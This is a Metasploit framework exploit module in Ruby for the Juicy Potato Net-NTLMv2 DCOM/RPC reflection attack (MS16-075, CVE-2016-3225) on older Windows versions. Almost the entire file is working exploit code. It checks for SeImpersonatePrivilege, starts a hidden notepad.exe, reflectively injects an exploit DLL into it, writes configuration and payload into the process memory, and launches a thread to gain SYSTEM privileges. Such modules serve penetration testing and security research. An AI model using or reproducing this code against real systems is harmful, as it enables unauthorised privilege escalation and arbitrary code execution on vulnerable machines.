##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
          'Description' => %q{
            This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
            to achieve a SYSTEM handle for elevation of privilege.
            It requires a CLSID string.
            Windows 10 after version 1803, (April 2018 update, build 17134) and all
            versions of Windows Server 2019 are not vulnerable.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'FoxGloveSec', # the original Potato exploit
            'breenmachine', # Rotten Potato NG!
            'decoder', # Lonely / Juicy Potato
            'ohpe', # Juicy Potato
            'phra', # MSF Module
            'lupman' # MSF Module
          ],
          'Arch' => [ARCH_X86, ARCH_X64],
          'Platform' => 'win',
          'SessionTypes' => ['meterpreter'],
          'DefaultOptions' => {
            'EXITFUNC' => 'none',
            'WfsDelay' => '20'
          },
          'Targets' => [
            ['Automatic', {}]
          ],
          'Payload' => {
            'DisableNops' => true
          },
          'References' => [
            ['MSB', 'MS16-075'],
            ['CVE', '2016-3225'],
            ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
            ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
            ['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
            ['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
            ['URL', 'https://ohpe.it/juicy-potato/']
          ],
          'DisclosureDate' => '2016-01-16',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_config_getenv
                stdapi_sys_config_getprivs
                stdapi_sys_config_sysinfo
                stdapi_sys_process_attach
                stdapi_sys_process_execute
                stdapi_sys_process_thread_create
              ]
            }
          }
        }
      )
    )

    register_options(
      [
        OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
      ]
    )

    register_advanced_options(
      [
        OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
        OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
        OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
        OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
        OptString.new('LogFile', [ false, 'Set the log file' ])
      ]
    )
  end

  # Creates a temp notepad.exe to inject payload in to given the payload
  def create_temp_proc
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
      cmd = "#{windir}\\Sysnative\\notepad.exe"
    elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    begin
      proc = client.sys.process.execute(cmd, nil, { 'Hidden' => true })
    rescue Rex::Post::Meterpreter::RequestError
      return nil
    end

    return proc
  end

  def create_temp_proc_stage2
    windir = client.sys.config.getenv('windir')
    # Select path of executable to run depending the architecture
    if sysinfo['Architecture'] == ARCH_X64 && @payload_arch.first == ARCH_X86
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    else
      cmd = "#{windir}\\System32\\notepad.exe"
    end
    return cmd
  end

  def check
    privs = client.sys.config.getprivs
    # Fast fails
    if !privs.include?('SeImpersonatePrivilege')
      print_bad('Target session is missing the SeImpersonatePrivilege.')
      return Exploit::CheckCode::Safe
    end
    version = get_version_info
    unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803)
      print_bad("System not vulnerable (#{version.product_name})")
      return Exploit::CheckCode::Safe
    end
    print_good("Target appears to be vulnerable (#{version.product_name})")
    return Exploit::CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    @payload_name = datastore['PAYLOAD']
    @payload_arch = framework.payloads.create(@payload_name).arch
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable')
    end
    if @payload_arch.first == ARCH_X64
      dll_file_name = 'juicypotato.x64.dll'
      vprint_status('Assigning payload juicypotato.x64.dll')
    elsif @payload_arch.first == ARCH_X86
      dll_file_name = 'juicypotato.x86.dll'
      vprint_status('Assigning payload juicypotato.x86.dll')
    else
      fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
    end
    print_status('Launching notepad to host the exploit...')
    notepad_process = create_temp_proc
    cmd = create_temp_proc_stage2
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name)
    library_path = ::File.expand_path(library_path)
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
    configuration = "#{datastore['LogFile']}\x00"
    configuration += "#{cmd}\x00"
    configuration += "#{datastore['CLSID']}\x00"
    configuration += "#{datastore['ListeningPort']}\x00"
    configuration += "#{datastore['RpcServerHost']}\x00"
    configuration += "#{datastore['RpcServerPort']}\x00"
    configuration += "#{datastore['ListeningAddress']}\x00"
    configuration += "#{payload.encoded.length}\x00"
    configuration += payload.encoded
    payload_mem = inject_into_process(process, configuration)
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Configuration injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end